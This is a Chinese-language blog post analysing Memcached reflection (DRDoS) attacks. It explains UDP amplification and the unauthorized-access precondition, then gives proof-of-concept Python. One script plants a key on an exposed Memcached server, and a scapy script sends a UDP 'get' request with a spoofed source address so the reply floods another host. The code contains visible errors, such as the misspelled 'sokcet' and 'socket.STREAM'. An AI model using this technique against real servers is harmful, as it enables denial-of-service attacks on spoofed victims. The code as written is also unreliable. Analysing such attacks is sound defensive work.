關於Memcached反射型DRDoS攻擊分析

一、Memcached反射攻擊原理

1、反射DRDoS攻擊:

DRDoS攻擊時DoS攻擊的一種,DoS是指通過發送或引發大量的資源消耗導致服務不可用的一種攻擊方式,中文稱之爲拒絕服務攻擊。DRDoS是反射性拒絕服務攻擊,其原理是通過利用你的程序漏洞,發送畸形報文誘發你回覆大數據量的報文,從而達到消耗資源,拒絕服務的目的。

2、爲什麼Memcached可以誘發DRDoS:

因爲Memcached是一個緩存服務器,很多web站點用來存儲緩存數據,以防止WEB服務器承擔更多性能損耗。但是這樣情況下,如果發送一個請求,回覆大數據量的響應報文,則可以被誘發DRDoS,攻擊手段就是重複變換源的發送請求報文即可。

3、以上還有兩個前提:

(1)Memcached支持TCP和UDP,且其中UDP是不需要狀態連接,和握手的。

(2)Memcached存在未授權訪問的情況。

二、Memcached DRDoS的poc

1、攻擊手法,

(1)訪問可以控制的未授權的memcached,set設置鍵值

1 set abc 0 0 10
2 abc ->鍵名
3 0 -> flag
4 0 -> exptime 過期時間,0便是永不過期
5 10 -> 返回10Byte的數據,當然可以返回更多

python代碼如下

複製代碼
 1 # -*- coding:utf-8 -*-
 2 
 3 import socket
 4 
 5 target_host = "192.168.1.1"
 6 target_port = 11211
 7 client = sokcet.socket(socket.AF_INET,socket.STREAM)
 8 client.settimeout(10)
 9 client.connect((target_host,target_port))
10 
11 client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n")
12 data = client.recv(1024)
13 print data
複製代碼

(2)然後get這個abc即可

複製代碼
1 # -*- coding:utf-8 -*-
2 
3 from scapy.all import *
4 
5 data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"
6 pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
7 send(pkt ,inter=1,count=1)
複製代碼
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章